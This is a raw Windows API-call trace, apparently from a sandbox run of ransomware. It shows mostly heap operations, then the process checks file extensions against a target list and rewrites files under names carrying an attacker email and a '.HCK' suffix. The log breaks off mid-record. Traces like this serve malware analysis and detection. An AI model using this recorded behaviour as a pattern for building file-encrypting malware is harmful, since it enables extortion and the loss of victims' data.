lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x412efd8 | out: hHeap=0x4f0000) returned 1 [0236.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0236.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0236.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0236.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0236.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x412efd8 | out: hHeap=0x4f0000) returned 1 [0236.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0236.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0237.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0237.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0238.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff0050 | out: hHeap=0x4f0000) returned 1 [0238.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff0050 | out: hHeap=0x4f0000) returned 1 [0245.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0245.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0245.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0245.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0245.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff0858 | out: hHeap=0x4f0000) returned 1 [0245.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff0858 | out: hHeap=0x4f0000) returned 1 [0245.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff0858 | out: hHeap=0x4f0000) returned 1 [0245.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff0858 | out: hHeap=0x4f0000) returned 1 [0245.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff0858 | out: hHeap=0x4f0000) returned 1 [0245.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff0858 | out: hHeap=0x4f0000) returned 1 [0245.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff0858 | out: hHeap=0x4f0000) returned 1 [0245.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff0858 | out: hHeap=0x4f0000) returned 1 [0245.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0245.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0245.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0245.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0245.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4fe0850 | out: hHeap=0x4f0000) returned 1 [0245.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0245.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0245.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0245.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0245.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0245.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0245.354] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3921b18 | out: hHeap=0x4f0000) returned 1 [0245.355] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3911b10 | out: hHeap=0x4f0000) returned 1 Thread: id = 323 os_tid = 0xd48 [0224.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3932400 [0224.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3942408 [0224.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558a90 [0224.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x580728 [0224.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558b08 [0224.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3cf4020 [0224.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558b20 [0224.125] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x558b20, Size=0x20) returned 0x52f090 [0224.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558b20 [0224.125] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x558b20, Size=0x20) returned 0x52f108 [0224.125] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0224.125] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0224.125] Wow64DisableWow64FsRedirection (in: OldValue=0x321ff50 | out: OldValue=0x321ff50*=0x0) returned 1 [0224.125] lstrlenW (lpString="kernel32.dll") returned 12 [0224.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f090 | out: hHeap=0x4f0000) returned 1 [0224.125] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0224.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f108 | out: hHeap=0x4f0000) returned 1 [0224.125] Sleep (dwMilliseconds=0x64) [0224.308] Sleep (dwMilliseconds=0x64) [0224.519] Sleep (dwMilliseconds=0x64) [0224.827] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0224.827] lstrlenW (lpString="base_rtl.xml") returned 12 [0224.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0225.041] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=617) returned 1 [0225.041] CloseHandle (hObject=0x434) returned 1 [0225.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0225.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0225.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0225.041] lstrlenW (lpString=".doc") returned 4 [0225.041] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0225.041] lstrlenW (lpString=".docx") returned 5 [0225.041] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0225.041] lstrlenW (lpString=".pdf") returned 4 [0225.041] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0225.041] lstrlenW (lpString=".xls") returned 4 [0225.041] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0225.041] lstrlenW (lpString=".xlsx") returned 5 [0225.041] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0225.041] lstrlenW (lpString=".ppt") returned 4 [0225.041] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0225.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0225.041] lstrlenW (lpString=".zip") returned 4 [0225.041] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0225.041] lstrlenW (lpString=".rar") returned 4 [0225.041] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0225.041] lstrlenW (lpString=".bz2") returned 4 [0225.041] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0225.041] lstrlenW (lpString=".7z") returned 3 [0225.041] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0225.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0225.041] lstrlenW (lpString=".dbf") returned 4 [0225.041] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0225.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0225.041] lstrlenW (lpString=".1cd") returned 4 [0225.041] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0225.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0225.041] lstrlenW (lpString=".jpg") returned 4 [0225.041] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0225.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0225.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0225.041] lstrlenW (lpString=".doc") returned 4 [0225.042] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0225.042] lstrlenW (lpString=".docx") returned 5 [0225.042] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0225.042] lstrlenW (lpString=".pdf") returned 4 [0225.042] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0225.042] lstrlenW (lpString=".xls") returned 4 [0225.042] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0225.042] lstrlenW (lpString=".xlsx") returned 5 [0225.042] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0225.042] lstrlenW (lpString=".ppt") returned 4 [0225.042] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0225.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0225.042] lstrlenW (lpString=".zip") returned 4 [0225.042] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0225.042] lstrlenW (lpString=".rar") returned 4 [0225.042] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0225.042] lstrlenW (lpString=".bz2") returned 4 [0225.042] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0225.042] lstrlenW (lpString=".7z") returned 3 [0225.042] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0225.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0225.042] lstrlenW (lpString=".dbf") returned 4 [0225.042] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0225.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0225.042] lstrlenW (lpString=".1cd") returned 4 [0225.042] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0225.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0225.042] lstrlenW (lpString=".jpg") returned 4 [0225.042] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0225.042] Sleep (dwMilliseconds=0x64) [0225.483] Sleep (dwMilliseconds=0x64) [0225.843] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0225.843] lstrlenW (lpString="J0099150.JPG") returned 12 [0225.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0226.143] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=21914) returned 1 [0226.144] CloseHandle (hObject=0x49c) returned 1 [0226.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220 [0226.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0226.145] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.145] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0226.153] GetLastError () returned 0x0 [0226.153] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x559a, lpOverlapped=0x0) returned 1 [0226.162] WriteFile (in: hFile=0x438, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x55a0, lpOverlapped=0x0) returned 1 [0226.163] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.163] WriteFile (in: hFile=0x438, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: 